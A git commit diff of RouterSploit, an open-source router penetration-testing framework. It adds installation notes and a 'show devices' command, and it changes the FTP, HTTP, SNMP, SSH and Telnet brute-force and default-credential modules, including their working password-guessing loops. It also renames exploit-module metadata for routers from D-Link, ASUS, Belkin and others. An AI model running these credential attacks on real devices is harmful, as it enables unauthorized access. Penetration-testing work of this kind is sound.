Commit e4bf2568 by Milad Doorbash

Merge with upstream/master

parents 7db65a6b 7318a775
...@@ -14,11 +14,36 @@ It consists of various modules that aids penetration testing operations: ...@@ -14,11 +14,36 @@ It consists of various modules that aids penetration testing operations:
# Installation # Installation
## Requirements
* gnureadline
* requests
* paramiko
* beautifulsoup4
* pysnmp
## Installation on Kali
git clone https://github.com/reverse-shell/routersploit
cd routersploit
./rsf.py
## Installation on Ubuntu
sudo apt-get install python-dev python-pip libncurses5-dev git
git clone https://github.com/reverse-shell/routersploit git clone https://github.com/reverse-shell/routersploit
cd routersploit cd routersploit
pip install -r requirements.txt pip install -r requirements.txt
./rsf.py ./rsf.py
## Installation on OSX
git clone https://github.com/reverse-shell/routersploit
cd routersploit
sudo easy_install pip
sudo pip install -r requirements.txt
./rsf.py
# Update # Update
Update RouterSploit Framework often. Project is under heavy development and new modules are shipped almost everyday. Update RouterSploit Framework often. Project is under heavy development and new modules are shipped almost everyday.
...@@ -101,7 +126,7 @@ Display information about exploit: ...@@ -101,7 +126,7 @@ Display information about exploit:
Description: Description:
Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges. Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.
Targets: Devices:
- D-Link DIR 300 - D-Link DIR 300
- D-Link DIR 600 - D-Link DIR 600
......
...@@ -205,11 +205,11 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -205,11 +205,11 @@ class RoutersploitInterpreter(BaseInterpreter):
self.modules.append(module_path.split('.', 2).pop()) self.modules.append(module_path.split('.', 2).pop())
def __parse_prompt(self): def __parse_prompt(self):
raw_prompt_default_template = "\033[4m{host}\033[0m > " raw_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 > "
raw_prompt_template = os.getenv("RSF_RAW_PROMPT", raw_prompt_default_template).replace('\\033', '\033') raw_prompt_template = os.getenv("RSF_RAW_PROMPT", raw_prompt_default_template).replace('\\033', '\033')
self.raw_prompt_template = raw_prompt_template if '{host}' in raw_prompt_template else raw_prompt_default_template self.raw_prompt_template = raw_prompt_template if '{host}' in raw_prompt_template else raw_prompt_default_template
module_prompt_default_template = "\033[4m{host}\033[0m (\033[91m{module}\033[0m) > " module_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 (\001\033[91m\002{module}\001\033[0m\002) > "
module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033') module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033')
self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template
...@@ -331,12 +331,12 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -331,12 +331,12 @@ class RoutersploitInterpreter(BaseInterpreter):
@utils.module_required @utils.module_required
def command_show(self, *args, **kwargs): def command_show(self, *args, **kwargs):
info, options = 'info', 'options' info, options, devices = 'info', 'options', 'devices'
sub_command = args[0] sub_command = args[0]
if sub_command == info: if sub_command == info:
utils.pprint_dict_in_order( utils.pprint_dict_in_order(
self.module_metadata, self.module_metadata,
("name", "description", "targets", "authors", "references"), ("name", "description", "devices", "authors", "references"),
) )
utils.print_info() utils.print_info()
elif sub_command == options: elif sub_command == options:
...@@ -352,12 +352,27 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -352,12 +352,27 @@ class RoutersploitInterpreter(BaseInterpreter):
utils.print_table(headers, *self.get_opts(*module_opts)) utils.print_table(headers, *self.get_opts(*module_opts))
utils.print_info() utils.print_info()
elif sub_command == devices:
if devices in self.current_module._Exploit__info__.keys():
devices = self.current_module._Exploit__info__['devices']
print("\nTarget devices:")
i = 0
for device in devices:
if isinstance(device, dict):
print(" {} - {}".format(i, device['name']))
else:
print(" {} - {}".format(i, device))
i += 1
print()
else:
print("\nTarget devices are not defined")
else: else:
print("Unknown command 'show {}'. You want to 'show {}' or 'show {}'?".format(sub_command, info, options)) print("Unknown command 'show {}'. You want to 'show {}' or 'show {}'?".format(sub_command, info, options))
@utils.stop_after(2) @utils.stop_after(2)
def complete_show(self, text, *args, **kwargs): def complete_show(self, text, *args, **kwargs):
sub_commands = ['info', 'options'] sub_commands = ['info', 'options', 'devices']
if text: if text:
return filter(lambda command: command.startswith(text), sub_commands) return filter(lambda command: command.startswith(text), sub_commands)
else: else:
......
...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit): ...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'FTP Bruteforce', 'name': 'FTP Bruteforce',
'author': [ 'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
] ]
} }
...@@ -35,6 +35,7 @@ class Exploit(exploits.Exploit): ...@@ -35,6 +35,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)') usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -107,7 +108,9 @@ class Exploit(exploits.Exploit): ...@@ -107,7 +108,9 @@ class Exploit(exploits.Exploit):
try: try:
ftp.login(user, password) ftp.login(user, password)
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
except: except:
......
...@@ -22,7 +22,7 @@ class Exploit(exploits.Exploit): ...@@ -22,7 +22,7 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'FTP Default Creds', 'name': 'FTP Default Creds',
'author': [ 'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
] ]
} }
...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads') threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass pair or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass pair or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -99,7 +100,9 @@ class Exploit(exploits.Exploit): ...@@ -99,7 +100,9 @@ class Exploit(exploits.Exploit):
try: try:
ftp.login(user, password) ftp.login(user, password)
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
except: except:
......
...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit): ...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'HTTP Basic Bruteforce', 'name': 'HTTP Basic Bruteforce',
'author': [ 'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
] ]
} }
...@@ -36,6 +36,7 @@ class Exploit(exploits.Exploit): ...@@ -36,6 +36,7 @@ class Exploit(exploits.Exploit):
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
path = exploits.Option('/', 'URL Path') path = exploits.Option('/', 'URL Path')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -92,7 +93,9 @@ class Exploit(exploits.Exploit): ...@@ -92,7 +93,9 @@ class Exploit(exploits.Exploit):
response = http_request(method="GET", url=url, auth=(user, password)) response = http_request(method="GET", url=url, auth=(user, password))
if response.status_code != 401: if response.status_code != 401:
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
else: else:
......
...@@ -22,7 +22,7 @@ class Exploit(exploits.Exploit): ...@@ -22,7 +22,7 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'HTTP Basic Default Creds', 'name': 'HTTP Basic Default Creds',
'author': [ 'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
] ]
} }
...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
path = exploits.Option('/', 'URL Path') path = exploits.Option('/', 'URL Path')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -85,7 +86,9 @@ class Exploit(exploits.Exploit): ...@@ -85,7 +86,9 @@ class Exploit(exploits.Exploit):
response = http_request(method="GET", url=url, auth=(user, password)) response = http_request(method="GET", url=url, auth=(user, password))
if response.status_code != 401: if response.status_code != 401:
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
else: else:
......
...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit): ...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'HTTP Form Bruteforce', 'name': 'HTTP Form Bruteforce',
'author': [ 'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
] ]
} }
...@@ -34,10 +34,11 @@ class Exploit(exploits.Exploit): ...@@ -34,10 +34,11 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Number of threads') threads = exploits.Option(8, 'Number of threads')
usernames = exploits.Option('admin', 'Username or file with usernames (file://)') usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit') form = exploits.Option('auto', 'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit')
path = exploits.Option('/login.php', 'URL Path') path = exploits.Option('/login.php', 'URL Path')
form_path = exploits.Option('same', 'same as path or URL Form Path') form_path = exploits.Option('same', 'same as path or URL Form Path')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
data = "" data = ""
...@@ -172,7 +173,9 @@ class Exploit(exploits.Exploit): ...@@ -172,7 +173,9 @@ class Exploit(exploits.Exploit):
l = len(r.text) l = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]: if l < self.invalid["min"] or l > self.invalid["max"]:
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
else: else:
......
...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit): ...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'HTTP Form Default Creds', 'name': 'HTTP Form Default Creds',
'author': [ 'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
] ]
} }
...@@ -32,10 +32,11 @@ class Exploit(exploits.Exploit): ...@@ -32,10 +32,11 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target port') port = exploits.Option(80, 'Target port')
threads = exploits.Option(8, 'Number of threads') threads = exploits.Option(8, 'Number of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit') form = exploits.Option('auto', 'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit')
path = exploits.Option('/login.php', 'URL Path') path = exploits.Option('/login.php', 'URL Path')
form_path = exploits.Option('same', 'same as path or URL Form Path') form_path = exploits.Option('same', 'same as path or URL Form Path')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
data = "" data = ""
...@@ -165,7 +166,9 @@ class Exploit(exploits.Exploit): ...@@ -165,7 +166,9 @@ class Exploit(exploits.Exploit):
l = len(r.text) l = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]: if l < self.invalid["min"] or l > self.invalid["max"]:
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
else: else:
......
import threading import threading
import netsnmp from pysnmp.entity.rfc3413.oneliner import cmdgen
from routersploit import ( from routersploit import (
exploits, exploits,
...@@ -21,7 +21,7 @@ class Exploit(exploits.Exploit): ...@@ -21,7 +21,7 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'SNMP Bruteforce', 'name': 'SNMP Bruteforce',
'author': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module 'authors': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
} }
target = exploits.Option('', 'Target IP address or file with target:port (file://)') target = exploits.Option('', 'Target IP address or file with target:port (file://)')
...@@ -29,7 +29,7 @@ class Exploit(exploits.Exploit): ...@@ -29,7 +29,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Number of threads') threads = exploits.Option(8, 'Number of threads')
snmp = exploits.Option(wordlists.snmp, 'Community string or file with community strings (file://)') snmp = exploits.Option(wordlists.snmp, 'Community string or file with community strings (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid community string')
strings = [] strings = []
def run(self): def run(self):
...@@ -59,23 +59,27 @@ class Exploit(exploits.Exploit): ...@@ -59,23 +59,27 @@ class Exploit(exploits.Exploit):
def target_function(self, running, data): def target_function(self, running, data):
module_verbosity = boolify(self.verbosity) module_verbosity = boolify(self.verbosity)
name = threading.current_thread().name name = threading.current_thread().name
address = "{}:{}".format(self.target, self.port)
print_status(name, 'thread is starting...', verbose=module_verbosity) print_status(name, 'thread is starting...', verbose=module_verbosity)
cmdGen = cmdgen.CommandGenerator()
while running.is_set(): while running.is_set():
try: try:
string = data.next().strip() string = data.next().strip()
bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0") errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
res = netsnmp.snmpget(bindvariable, Version=1, DestHost=address, Community=string) cmdgen.CommunityData(string),
cmdgen.UdpTransportTarget((self.target, int(self.port))),
'1.3.6.1.2.1.1.1.0',
)
if res[0] is not None: if errorIndication or errorStatus:
running.clear() print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
else:
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Valid community string found - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity) print_success("Target: {}:{} {}: Valid community string found - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
self.strings.append((self.target, self.port, string)) self.strings.append((self.target, self.port, string))
else:
print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
except StopIteration: except StopIteration:
break break
......
...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit): ...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'SSH Bruteforce', 'name': 'SSH Bruteforce',
'author': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module 'authors': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
} }
target = exploits.Option('', 'Target IP address or file with target:port (file://)') target = exploits.Option('', 'Target IP address or file with target:port (file://)')
...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)') usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -95,10 +96,10 @@ class Exploit(exploits.Exploit): ...@@ -95,10 +96,10 @@ class Exploit(exploits.Exploit):
ssh.close() ssh.close()
print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity)
else: else:
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
print_status(name, 'thread is terminated.', verbose=module_verbosity) print_status(name, 'thread is terminated.', verbose=module_verbosity)
...@@ -22,7 +22,7 @@ class Exploit(exploits.Exploit): ...@@ -22,7 +22,7 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'SSH Default Creds', 'name': 'SSH Default Creds',
'author': [ 'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
] ]
} }
...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit): ...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads') threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -90,10 +91,10 @@ class Exploit(exploits.Exploit): ...@@ -90,10 +91,10 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity)
else: else:
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
print_status(name, 'process is terminated.', verbose=module_verbosity) print_status(name, 'process is terminated.', verbose=module_verbosity)
...@@ -22,7 +22,7 @@ class Exploit(exploits.Exploit): ...@@ -22,7 +22,7 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Telnet Bruteforce', 'name': 'Telnet Bruteforce',
'author': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module 'authors': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
} }
target = exploits.Option('', 'Target IP address or file with target:port (file://)') target = exploits.Option('', 'Target IP address or file with target:port (file://)')
...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit): ...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)') usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -100,7 +101,9 @@ class Exploit(exploits.Exploit): ...@@ -100,7 +101,9 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
else: else:
if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
tn.close() tn.close()
......
...@@ -21,7 +21,7 @@ class Exploit(exploits.Exploit): ...@@ -21,7 +21,7 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Telnet Default Creds', 'name': 'Telnet Default Creds',
'author': [ 'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
] ]
} }
...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit): ...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads') threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -94,7 +95,9 @@ class Exploit(exploits.Exploit): ...@@ -94,7 +95,9 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
else: else:
if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
tn.close() tn.close()
......
...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit): ...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://www.exploit-db.com/exploits/9459/', 'https://www.exploit-db.com/exploits/9459/',
], ],
'targets': [ 'devices': [
'2Wire 2701HGV-W', '2Wire 2701HGV-W',
'2Wire 3800HGV-B', '2Wire 3800HGV-B',
'2Wire 3801HGV', '2Wire 3801HGV',
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt', 'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt',
], ],
'targets': [ 'devices': [
'Asmax AR 1004g', 'Asmax AR 1004g',
], ],
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise', 'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise',
'https://www.exploit-db.com/exploits/8846/', 'https://www.exploit-db.com/exploits/8846/',
], ],
'targets': [ 'devices': [
'Asmax AR 804 gu', 'Asmax AR 804 gu',
], ],
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://github.com/jduck/asus-cmd', 'https://github.com/jduck/asus-cmd',
], ],
'targets': [ 'devices': [
'ASUS RT-N66U', 'ASUS RT-N66U',
'ASUS RT-AC87U', 'ASUS RT-AC87U',
'ASUS RT-N56U', 'ASUS RT-N56U',
......
...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit): ...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://sintonen.fi/advisories/asus-router-auth-bypass.txt' 'https://sintonen.fi/advisories/asus-router-auth-bypass.txt'
], ],
'targets': [ 'devices': [
'ASUS RT-N10U, firmware 3.0.0.4.374_168', 'ASUS RT-N10U, firmware 3.0.0.4.374_168',
'ASUS RT-N56U, firmware 3.0.0.4.374_979', 'ASUS RT-N56U, firmware 3.0.0.4.374_979',
'ASUS DSL-N55U, firmware 3.0.0.4.374_1397', 'ASUS DSL-N55U, firmware 3.0.0.4.374_1397',
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2765', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2765',
'https://www.exploit-db.com/exploits/17349/', 'https://www.exploit-db.com/exploits/17349/',
], ],
'targets': [ 'devices': [
'Belkin G', 'Belkin G',
'Belkin N150', 'Belkin N150',
], ],
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0403', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0403',
'https://www.exploit-db.com/exploits/4941/', 'https://www.exploit-db.com/exploits/4941/',
], ],
'targets': [ 'devices': [
'Belkin G', 'Belkin G',
], ],
} }
......
...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit): ...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'http://www.belkin.com/us/support-article?articleNum=109400', 'http://www.belkin.com/us/support-article?articleNum=109400',
'http://www.kb.cert.org/vuls/id/774788', 'http://www.kb.cert.org/vuls/id/774788',
], ],
'targets': [ 'devices': [
'Belkin N150 1.00.07', 'Belkin N150 1.00.07',
